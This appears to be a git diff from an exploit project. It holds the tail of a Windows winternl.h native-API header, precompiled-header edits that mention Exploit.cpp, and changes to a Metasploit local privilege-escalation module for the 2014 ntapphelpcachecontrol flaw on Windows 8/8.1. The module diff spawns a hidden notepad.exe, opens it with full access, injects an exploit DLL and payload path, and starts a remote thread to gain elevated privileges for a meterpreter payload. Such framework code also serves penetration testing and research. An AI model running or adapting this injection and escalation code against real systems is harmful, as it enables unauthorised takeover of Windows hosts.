// use the Win32 API instead
|
||||
// CreateFile
|
||||
//
|
||||
__kernel_entry NTSTATUS
|
||||
NTAPI
|
||||
NtOpenFile(
|
||||
OUT PHANDLE FileHandle,
|
||||
IN ACCESS_MASK DesiredAccess,
|
||||
IN POBJECT_ATTRIBUTES ObjectAttributes,
|
||||
OUT PIO_STATUS_BLOCK IoStatusBlock,
|
||||
IN ULONG ShareAccess,
|
||||
IN ULONG OpenOptions
|
||||
);
|
||||
|
||||
//
|
||||
// use the Win32 API instead
|
||||
// N/A
|
||||
//
|
||||
__kernel_entry NTSTATUS
|
||||
NTAPI
|
||||
NtRenameKey(
|
||||
_In_ HANDLE KeyHandle,
|
||||
_In_ PUNICODE_STRING NewName
|
||||
);
|
||||
|
||||
//
|
||||
// use the Win32 API instead
|
||||
// RegNotifyChangeKeyValue
|
||||
//
|
||||
|
||||
__kernel_entry NTSTATUS
|
||||
NTAPI
|
||||
NtNotifyChangeMultipleKeys(
|
||||
_In_ HANDLE MasterKeyHandle,
|
||||
_In_opt_ ULONG Count,
|
||||
_In_reads_opt_(Count) OBJECT_ATTRIBUTES SubordinateObjects[],
|
||||
_In_opt_ HANDLE Event,
|
||||
_In_opt_ PIO_APC_ROUTINE ApcRoutine,
|
||||
_In_opt_ PVOID ApcContext,
|
||||
_Out_ PIO_STATUS_BLOCK IoStatusBlock,
|
||||
_In_ ULONG CompletionFilter,
|
||||
_In_ BOOLEAN WatchTree,
|
||||
_Out_writes_bytes_opt_(BufferSize) PVOID Buffer,
|
||||
_In_ ULONG BufferSize,
|
||||
_In_ BOOLEAN Asynchronous
|
||||
);
|
||||
|
||||
//
|
||||
// use the Win32 API instead
|
||||
// RegQueryValueEx
|
||||
//
|
||||
|
||||
typedef struct _KEY_VALUE_ENTRY {
|
||||
PUNICODE_STRING ValueName;
|
||||
ULONG DataLength;
|
||||
ULONG DataOffset;
|
||||
ULONG Type;
|
||||
} KEY_VALUE_ENTRY, *PKEY_VALUE_ENTRY;
|
||||
|
||||
__kernel_entry NTSTATUS
|
||||
NTAPI
|
||||
NtQueryMultipleValueKey(
|
||||
_In_ HANDLE KeyHandle,
|
||||
_Inout_updates_(EntryCount) PKEY_VALUE_ENTRY ValueEntries,
|
||||
_In_ ULONG EntryCount,
|
||||
_Out_writes_bytes_(*BufferLength) PVOID ValueBuffer,
|
||||
_Inout_ PULONG BufferLength,
|
||||
_Out_opt_ PULONG RequiredBufferLength
|
||||
);
|
||||
|
||||
//
|
||||
// use the Win32 API instead
|
||||
// N/A
|
||||
//
|
||||
|
||||
typedef enum _KEY_SET_INFORMATION_CLASS {
|
||||
KeyWriteTimeInformation,
|
||||
KeyWow64FlagsInformation,
|
||||
KeyControlFlagsInformation,
|
||||
KeySetVirtualizationInformation,
|
||||
KeySetDebugInformation,
|
||||
KeySetHandleTagsInformation,
|
||||
MaxKeySetInfoClass // MaxKeySetInfoClass should always be the last enum
|
||||
} KEY_SET_INFORMATION_CLASS;
|
||||
|
||||
__kernel_entry NTSTATUS
|
||||
NTAPI
|
||||
NtSetInformationKey(
|
||||
_In_ HANDLE KeyHandle,
|
||||
_In_ _Strict_type_match_
|
||||
KEY_SET_INFORMATION_CLASS KeySetInformationClass,
|
||||
_In_reads_bytes_(KeySetInformationLength) PVOID KeySetInformation,
|
||||
_In_ ULONG KeySetInformationLength
|
||||
);
|
||||
|
||||
//
|
||||
// use the Win32 API instead
|
||||
// DeviceIoControl
|
||||
//
|
||||
__kernel_entry NTSTATUS
|
||||
NTAPI
|
||||
NtDeviceIoControlFile(
|
||||
IN HANDLE FileHandle,
|
||||
IN HANDLE Event OPTIONAL,
|
||||
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
|
||||
IN PVOID ApcContext OPTIONAL,
|
||||
OUT PIO_STATUS_BLOCK IoStatusBlock,
|
||||
IN ULONG IoControlCode,
|
||||
IN PVOID InputBuffer OPTIONAL,
|
||||
IN ULONG InputBufferLength,
|
||||
OUT PVOID OutputBuffer OPTIONAL,
|
||||
IN ULONG OutputBufferLength
|
||||
);
|
||||
|
||||
//
|
||||
// use the Win32 API instead
|
||||
// WaitForSingleObjectEx
|
||||
//
|
||||
NTSTATUS
|
||||
NTAPI
|
||||
NtWaitForSingleObject(
|
||||
IN HANDLE Handle,
|
||||
IN BOOLEAN Alertable,
|
||||
IN PLARGE_INTEGER Timeout OPTIONAL
|
||||
);
|
||||
|
||||
//
|
||||
// use the Win32 API instead
|
||||
// CheckNameLegalDOS8Dot3
|
||||
//
|
||||
BOOLEAN
|
||||
NTAPI
|
||||
RtlIsNameLegalDOS8Dot3(
|
||||
IN PUNICODE_STRING Name,
|
||||
IN OUT POEM_STRING OemName OPTIONAL,
|
||||
IN OUT PBOOLEAN NameContainsSpaces OPTIONAL
|
||||
);
|
||||
|
||||
//
|
||||
// This function might be needed for some of the internal Windows functions,
|
||||
// defined in this header file.
|
||||
//
|
||||
_When_(Status < 0, _Out_range_(>, 0))
|
||||
_When_(Status >= 0, _Out_range_(== , 0))
|
||||
ULONG
|
||||
NTAPI
|
||||
RtlNtStatusToDosError(
|
||||
NTSTATUS Status
|
||||
);
|
||||
|
||||
//
|
||||
// use the Win32 APIs instead
|
||||
// GetProcessHandleCount
|
||||
// GetProcessId
|
||||
//
|
||||
__kernel_entry NTSTATUS
|
||||
NTAPI
|
||||
NtQueryInformationProcess(
|
||||
IN HANDLE ProcessHandle,
|
||||
IN PROCESSINFOCLASS ProcessInformationClass,
|
||||
OUT PVOID ProcessInformation,
|
||||
IN ULONG ProcessInformationLength,
|
||||
OUT PULONG ReturnLength OPTIONAL
|
||||
);
|
||||
|
||||
//
|
||||
// use the Win32 API instead
|
||||
// GetThreadIOPendingFlag
|
||||
//
|
||||
__kernel_entry NTSTATUS
|
||||
NTAPI
|
||||
NtQueryInformationThread(
|
||||
IN HANDLE ThreadHandle,
|
||||
IN THREADINFOCLASS ThreadInformationClass,
|
||||
OUT PVOID ThreadInformation,
|
||||
IN ULONG ThreadInformationLength,
|
||||
OUT PULONG ReturnLength OPTIONAL
|
||||
);
|
||||
|
||||
//
|
||||
// use the Win32 APIs instead
|
||||
// GetFileInformationByHandle
|
||||
// GetFileInformationByHandleEx
|
||||
// GetProcessInformation
|
||||
// GetThreadInformation
|
||||
//
|
||||
|
||||
__kernel_entry NTSYSCALLAPI
|
||||
NTSTATUS
|
||||
NTAPI
|
||||
NtQueryObject(
|
||||
_In_opt_ HANDLE Handle,
|
||||
_In_ OBJECT_INFORMATION_CLASS ObjectInformationClass,
|
||||
_Out_writes_bytes_opt_(ObjectInformationLength) PVOID ObjectInformation,
|
||||
_In_ ULONG ObjectInformationLength,
|
||||
_Out_opt_ PULONG ReturnLength
|
||||
);
|
||||
|
||||
//
|
||||
// use the Win32 APIs instead
|
||||
// GetSystemRegistryQuota
|
||||
// GetSystemTimes
|
||||
// use the CryptoAPIs instead for generating random data
|
||||
// CryptGenRandom
|
||||
//
|
||||
__kernel_entry NTSTATUS
|
||||
NTAPI
|
||||
NtQuerySystemInformation(
|
||||
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
|
||||
OUT PVOID SystemInformation,
|
||||
IN ULONG SystemInformationLength,
|
||||
OUT PULONG ReturnLength OPTIONAL
|
||||
);
|
||||
|
||||
//
|
||||
// use the Win32 API instead
|
||||
// GetSystemTimeAsFileTime
|
||||
//
|
||||
__kernel_entry NTSTATUS
|
||||
NTAPI
|
||||
NtQuerySystemTime(
|
||||
OUT PLARGE_INTEGER SystemTime
|
||||
);
|
||||
|
||||
//
|
||||
// use the Win32 API instead
|
||||
// LocalFileTimeToFileTime
|
||||
//
|
||||
NTSTATUS
|
||||
NTAPI
|
||||
RtlLocalTimeToSystemTime(
|
||||
IN PLARGE_INTEGER LocalTime,
|
||||
OUT PLARGE_INTEGER SystemTime
|
||||
);
|
||||
|
||||
//
|
||||
// use the Win32 API instead
|
||||
// SystemTimeToFileTime to convert to FILETIME structures
|
||||
// copy the resulting FILETIME structures to ULARGE_INTEGER structures
|
||||
// perform the calculation
|
||||
//
|
||||
BOOLEAN
|
||||
NTAPI
|
||||
RtlTimeToSecondsSince1970(
|
||||
PLARGE_INTEGER Time,
|
||||
PULONG ElapsedSeconds
|
||||
);
|
||||
|
||||
//
|
||||
// These APIs might be need for some of the internal Windows functions,
|
||||
// defined in this header file.
|
||||
//
|
||||
VOID
|
||||
NTAPI
|
||||
RtlFreeAnsiString(
|
||||
PANSI_STRING AnsiString
|
||||
);
|
||||
|
||||
VOID
|
||||
NTAPI
|
||||
RtlFreeUnicodeString(
|
||||
PUNICODE_STRING UnicodeString
|
||||
);
|
||||
|
||||
VOID
|
||||
NTAPI
|
||||
RtlFreeOemString(
|
||||
POEM_STRING OemString
|
||||
);
|
||||
|
||||
VOID
|
||||
NTAPI
|
||||
RtlInitString(
|
||||
PSTRING DestinationString,
|
||||
PCSZ SourceString
|
||||
);
|
||||
|
||||
VOID
|
||||
NTAPI
|
||||
RtlInitAnsiString(
|
||||
PANSI_STRING DestinationString,
|
||||
PCSZ SourceString
|
||||
);
|
||||
|
||||
VOID
|
||||
NTAPI
|
||||
RtlInitUnicodeString(
|
||||
PUNICODE_STRING DestinationString,
|
||||
PCWSTR SourceString
|
||||
);
|
||||
|
||||
NTSTATUS
|
||||
NTAPI
|
||||
RtlAnsiStringToUnicodeString(
|
||||
PUNICODE_STRING DestinationString,
|
||||
PCANSI_STRING SourceString,
|
||||
BOOLEAN AllocateDestinationString
|
||||
);
|
||||
|
||||
NTSTATUS
|
||||
NTAPI
|
||||
RtlUnicodeStringToAnsiString(
|
||||
PANSI_STRING DestinationString,
|
||||
PCUNICODE_STRING SourceString,
|
||||
BOOLEAN AllocateDestinationString
|
||||
);
|
||||
|
||||
NTSTATUS
|
||||
NTAPI
|
||||
RtlUnicodeStringToOemString(
|
||||
POEM_STRING DestinationString,
|
||||
PCUNICODE_STRING SourceString,
|
||||
BOOLEAN AllocateDestinationString
|
||||
);
|
||||
|
||||
//
|
||||
// Use the Win32 API instead
|
||||
// WideCharToMultiByte
|
||||
// set CodePage to CP_ACP
|
||||
// set cbMultiByte to 0
|
||||
//
|
||||
NTSTATUS
|
||||
NTAPI
|
||||
RtlUnicodeToMultiByteSize(
|
||||
_Out_ PULONG BytesInMultiByteString,
|
||||
_In_reads_bytes_(BytesInUnicodeString) PWCH UnicodeString,
|
||||
_In_ ULONG BytesInUnicodeString
|
||||
);
|
||||
|
||||
//
|
||||
// Use the C runtime function instead
|
||||
// strtol
|
||||
//
|
||||
NTSTATUS
|
||||
NTAPI
|
||||
RtlCharToInteger(
|
||||
PCSZ String,
|
||||
ULONG Base,
|
||||
PULONG Value
|
||||
);
|
||||
|
||||
//
|
||||
// use the Win32 API instead
|
||||
// ConvertSidToStringSid
|
||||
//
|
||||
NTSTATUS
|
||||
NTAPI
|
||||
RtlConvertSidToUnicodeString(
|
||||
PUNICODE_STRING UnicodeString,
|
||||
PSID Sid,
|
||||
BOOLEAN AllocateDestinationString
|
||||
);
|
||||
|
||||
//
|
||||
// use the CryptoAPIs instead
|
||||
// CryptGenRandom
|
||||
//
|
||||
ULONG
|
||||
NTAPI
|
||||
RtlUniform(
|
||||
PULONG Seed
|
||||
);
|
||||
|
||||
|
||||
#define LOGONID_CURRENT ((ULONG)-1)
|
||||
#define SERVERNAME_CURRENT ((HANDLE)NULL)
|
||||
|
||||
typedef enum _WINSTATIONINFOCLASS {
|
||||
WinStationInformation = 8
|
||||
} WINSTATIONINFOCLASS;
|
||||
|
||||
|
||||
typedef struct _WINSTATIONINFORMATIONW {
|
||||
BYTE Reserved2[70];
|
||||
ULONG LogonId;
|
||||
BYTE Reserved3[1140];
|
||||
} WINSTATIONINFORMATIONW, *PWINSTATIONINFORMATIONW;
|
||||
|
||||
//
|
||||
// this function is implemented in winsta.dll (you need to loadlibrary to call this function)
|
||||
// this internal function retrives the LogonId (also called SessionId) for the current process
|
||||
// You should avoid using this function as it can change. you can retrieve the same information
|
||||
// Using public api WTSQuerySessionInformation. Pass WTSSessionId as the WTSInfoClass parameter
|
||||
//
|
||||
typedef BOOLEAN(WINAPI * PWINSTATIONQUERYINFORMATIONW)(
|
||||
HANDLE, ULONG, WINSTATIONINFOCLASS, PVOID, ULONG, PULONG);
|
||||
|
||||
//
|
||||
// Generic test for success on any status value (non-negative numbers
|
||||
// indicate success).
|
||||
//
|
||||
|
||||
#ifndef NT_SUCCESS
|
||||
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
|
||||
#endif
|
||||
|
||||
//
|
||||
// Generic test for information on any status value.
|
||||
//
|
||||
|
||||
#ifndef NT_INFORMATION
|
||||
#define NT_INFORMATION(Status) ((((ULONG)(Status)) >> 30) == 1)
|
||||
#endif
|
||||
|
||||
//
|
||||
// Generic test for warning on any status value.
|
||||
//
|
||||
|
||||
#ifndef NT_WARNING
|
||||
#define NT_WARNING(Status) ((((ULONG)(Status)) >> 30) == 2)
|
||||
#endif
|
||||
|
||||
//
|
||||
// Generic test for error on any status value.
|
||||
//
|
||||
|
||||
#ifndef NT_ERROR
|
||||
#define NT_ERROR(Status) ((((ULONG)(Status)) >> 30) == 3)
|
||||
#endif
|
||||
|
||||
//++
|
||||
//
|
||||
// VOID
|
||||
// InitializeObjectAttributes(
|
||||
// OUT POBJECT_ATTRIBUTES p,
|
||||
// IN PUNICODE_STRING n,
|
||||
// IN ULONG a,
|
||||
// IN HANDLE r,
|
||||
// IN PSECURITY_DESCRIPTOR s
|
||||
// )
|
||||
//
|
||||
//--
|
||||
|
||||
#ifndef InitializeObjectAttributes
|
||||
#define InitializeObjectAttributes( p, n, a, r, s ) { \
|
||||
(p)->Length = sizeof(OBJECT_ATTRIBUTES); \
|
||||
(p)->RootDirectory = r; \
|
||||
(p)->Attributes = a; \
|
||||
(p)->ObjectName = n; \
|
||||
(p)->SecurityDescriptor = s; \
|
||||
(p)->SecurityQualityOfService = NULL; \
|
||||
}
|
||||
#endif
|
||||
|
||||
//
|
||||
// Valid values for the Attributes field
|
||||
//
|
||||
|
||||
#define OBJ_INHERIT 0x00000002L
|
||||
#define OBJ_PERMANENT 0x00000010L
|
||||
#define OBJ_EXCLUSIVE 0x00000020L
|
||||
#define OBJ_CASE_INSENSITIVE 0x00000040L
|
||||
#define OBJ_OPENIF 0x00000080L
|
||||
#define OBJ_OPENLINK 0x00000100L
|
||||
#define OBJ_KERNEL_HANDLE 0x00000200L
|
||||
#define OBJ_FORCE_ACCESS_CHECK 0x00000400L
|
||||
#define OBJ_VALID_ATTRIBUTES 0x000007F2L
|
||||
|
||||
//
|
||||
// Define the create disposition values
|
||||
//
|
||||
|
||||
#define FILE_SUPERSEDE 0x00000000
|
||||
#define FILE_OPEN 0x00000001
|
||||
#define FILE_CREATE 0x00000002
|
||||
#define FILE_OPEN_IF 0x00000003
|
||||
#define FILE_OVERWRITE 0x00000004
|
||||
#define FILE_OVERWRITE_IF 0x00000005
|
||||
#define FILE_MAXIMUM_DISPOSITION 0x00000005
|
||||
|
||||
//
|
||||
// Define the create/open option flags
|
||||
//
|
||||
|
||||
#define FILE_DIRECTORY_FILE 0x00000001
|
||||
#define FILE_WRITE_THROUGH 0x00000002
|
||||
#define FILE_SEQUENTIAL_ONLY 0x00000004
|
||||
#define FILE_NO_INTERMEDIATE_BUFFERING 0x00000008
|
||||
|
||||
#define FILE_SYNCHRONOUS_IO_ALERT 0x00000010
|
||||
#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020
|
||||
#define FILE_NON_DIRECTORY_FILE 0x00000040
|
||||
#define FILE_CREATE_TREE_CONNECTION 0x00000080
|
||||
|
||||
#define FILE_COMPLETE_IF_OPLOCKED 0x00000100
|
||||
#define FILE_NO_EA_KNOWLEDGE 0x00000200
|
||||
#define FILE_OPEN_REMOTE_INSTANCE 0x00000400
|
||||
#define FILE_RANDOM_ACCESS 0x00000800
|
||||
|
||||
#define FILE_DELETE_ON_CLOSE 0x00001000
|
||||
#define FILE_OPEN_BY_FILE_ID 0x00002000
|
||||
#define FILE_OPEN_FOR_BACKUP_INTENT 0x00004000
|
||||
#define FILE_NO_COMPRESSION 0x00008000
|
||||
|
||||
#if (_WIN32_WINNT >= _WIN32_WINNT_WIN7)
|
||||
#define FILE_OPEN_REQUIRING_OPLOCK 0x00010000
|
||||
#endif
|
||||
|
||||
#define FILE_RESERVE_OPFILTER 0x00100000
|
||||
#define FILE_OPEN_REPARSE_POINT 0x00200000
|
||||
#define FILE_OPEN_NO_RECALL 0x00400000
|
||||
#define FILE_OPEN_FOR_FREE_SPACE_QUERY 0x00800000
|
||||
|
||||
#define FILE_VALID_OPTION_FLAGS 0x00ffffff
|
||||
#define FILE_VALID_PIPE_OPTION_FLAGS 0x00000032
|
||||
#define FILE_VALID_MAILSLOT_OPTION_FLAGS 0x00000032
|
||||
#define FILE_VALID_SET_FLAGS 0x00000036
|
||||
|
||||
//
|
||||
// Define the I/O status information return values for NtCreateFile/NtOpenFile
|
||||
//
|
||||
|
||||
#define FILE_SUPERSEDED 0x00000000
|
||||
#define FILE_OPENED 0x00000001
|
||||
#define FILE_CREATED 0x00000002
|
||||
#define FILE_OVERWRITTEN 0x00000003
|
||||
#define FILE_EXISTS 0x00000004
|
||||
#define FILE_DOES_NOT_EXIST 0x00000005
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // (_WIN32_WINNT >= 0x0500)
|
||||
|
||||
|
||||
#endif /* WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) */
|
||||
#pragma endregion
|
||||
|
||||
#endif // _WINTERNL_
|
||||
+1
@@ -4,5 +4,6 @@
|
||||
|
||||
#include "stdafx.h"
|
||||
|
||||
|
||||
// TODO: reference any additional headers you need in STDAFX.H
|
||||
// and not in this file
|
||||
+21
@@ -0,0 +1,21 @@
|
||||
#pragma once
|
||||
|
||||
#include "targetver.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <tchar.h>
|
||||
|
||||
// #define WIN32_LEAN_AND_MEAN
|
||||
// If you use WIN32_LEAN_AND_MEAN, you will no longer get the redef errors.
|
||||
// But you will need shellapi.h and objbase.h for Exploit.cpp.
|
||||
// And then you'll get a different set of problems
|
||||
#define WIN32_NO_STATUS 1
|
||||
#include <Windows.h>
|
||||
#undef WIN32_NO_STATUS
|
||||
|
||||
#include <ntstatus.h>
|
||||
#include <winternl.h>
|
||||
|
||||
// If you use WIN32_LEAN_AND_MEAN, you will need these two.
|
||||
//#include <shellapi.h>
|
||||
//#include <objbase.h>
|
||||
@@ -1,11 +0,0 @@
|
||||
#pragma once
|
||||
|
||||
#include "targetver.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <tchar.h>
|
||||
#define WIN32_NO_STATUS 1
|
||||
#include <Windows.h>
|
||||
#undef WIN32_NO_STATUS
|
||||
#include <ntstatus.h>
|
||||
#include <winternl.h>
|
||||
@@ -40,17 +40,18 @@ class Metasploit3 < Msf::Exploit::Local
|
||||
'James Forshaw',
|
||||
'sinn3r'
|
||||
],
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'win',
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'Arch' => [ARCH_X86, ARCH_X86_64],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'thread',
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows 8 / 8.1', { } ]
|
||||
[ 'Windows 8 / Windows 8.1 (x86 and x64)', {} ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 4096,
|
||||
@@ -62,8 +63,7 @@ class Metasploit3 < Msf::Exploit::Local
|
||||
[ 'EDB', '35661' ],
|
||||
[ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=118']
|
||||
],
|
||||
'DisclosureDate' => 'Sep 30 2014',
|
||||
'DefaultTarget' => 0
|
||||
'DisclosureDate' => 'Sep 30 2014'
|
||||
}))
|
||||
end
|
||||
|
||||
@@ -71,9 +71,8 @@ class Metasploit3 < Msf::Exploit::Local
|
||||
@temp ||= get_env('TEMP').to_s
|
||||
end
|
||||
|
||||
def env_var_name
|
||||
# If you want to change this, make sure you change the one in exploit.cpp too
|
||||
'PAYLOAD_PATH'
|
||||
def payload_filepath
|
||||
@payload_filepath ||= "#{temp}\\#{Rex::Text.rand_text_alpha(6)}.dll"
|
||||
end
|
||||
|
||||
def upload_payload_dll(payload_filepath)
|
||||
@@ -88,18 +87,8 @@ class Metasploit3 < Msf::Exploit::Local
|
||||
end
|
||||
end
|
||||
|
||||
def set_filepath_env(payload_filepath)
|
||||
ret = session.railgun.kernel32.SetEnvironmentVariableA(env_var_name, payload_filepath)
|
||||
if !ret['return']
|
||||
fail_with(Failure::Unknown, "Failed to set environment variable #{env_var_name}")
|
||||
end
|
||||
end
|
||||
|
||||
def upload_payload
|
||||
payload_filepath = "#{temp}\\#{Rex::Text.rand_text_alpha(6)}.dll"
|
||||
|
||||
# Save the payload DLL's file path so the exploit can find it
|
||||
set_filepath_env(payload_filepath)
|
||||
print_status("Payload DLL will be: #{payload_filepath}")
|
||||
|
||||
# Upload the payload
|
||||
upload_payload_dll(payload_filepath)
|
||||
@@ -108,22 +97,34 @@ class Metasploit3 < Msf::Exploit::Local
|
||||
end
|
||||
end
|
||||
|
||||
def upload_exploit
|
||||
def inject_exploit(process)
|
||||
lib_file_path = ::File.join(
|
||||
Msf::Config.data_directory, "exploits", "ntapphelpcachecontrol", "exploit.dll"
|
||||
Msf::Config.data_directory, "exploits", "ntapphelpcachecontrol", 'exploit.dll'
|
||||
)
|
||||
|
||||
session.core.load_library(
|
||||
'LibraryFilePath' => lib_file_path,
|
||||
'TargetFilePath' => "#{temp}\\#{Rex::Text.rand_text_alpha(5)}.dll",
|
||||
'UploadLibrary' => true,
|
||||
'Extension' => false,
|
||||
'SaveToDisk' => false
|
||||
)
|
||||
print_status("Creating thread")
|
||||
exploit_mem, offset = inject_dll_into_process(process, lib_file_path)
|
||||
var_mem = inject_into_process(process, payload_filepath)
|
||||
process.thread.create(exploit_mem + offset, var_mem)
|
||||
end
|
||||
|
||||
def prep_exploit_host
|
||||
process = nil
|
||||
notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true})
|
||||
begin
|
||||
process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
|
||||
rescue Rex::Post::Meterpreter::RequestError
|
||||
process = client.sys.process.open
|
||||
rescue ::Exception => e
|
||||
elog("#{e.message}\nCall stack:\n#{e.backtrace.join("\n")}")
|
||||
end
|
||||
process
|
||||
end
|
||||
|
||||
def check
|
||||
if sysinfo['OS'] =~ /Windows 8/
|
||||
# Still an 0day, but since this check doesn't actually trigger the vulnerability
|
||||
# so we should only flag this as CheckCode::Appears
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
|
||||
@@ -134,13 +135,14 @@ class Metasploit3 < Msf::Exploit::Local
|
||||
print_status("Uploading the payload DLL")
|
||||
upload_payload
|
||||
|
||||
print_status("Loading Exploit Library")
|
||||
upload_exploit
|
||||
proc = prep_exploit_host
|
||||
if !proc
|
||||
fail_with(Failure::Unknown, "Fail to get a notepad.exe to run (to host the exploit)")
|
||||
end
|
||||
|
||||
print_status("Injecting exploit into PID #{proc.pid}")
|
||||
inject_exploit(proc)
|
||||
end
|
||||
|
||||
def cleanup
|
||||
session.railgun.kernel32.SetEnvironmentVariableA(env_var_name, nil)
|
||||
super
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
Reference in New Issue
Block a user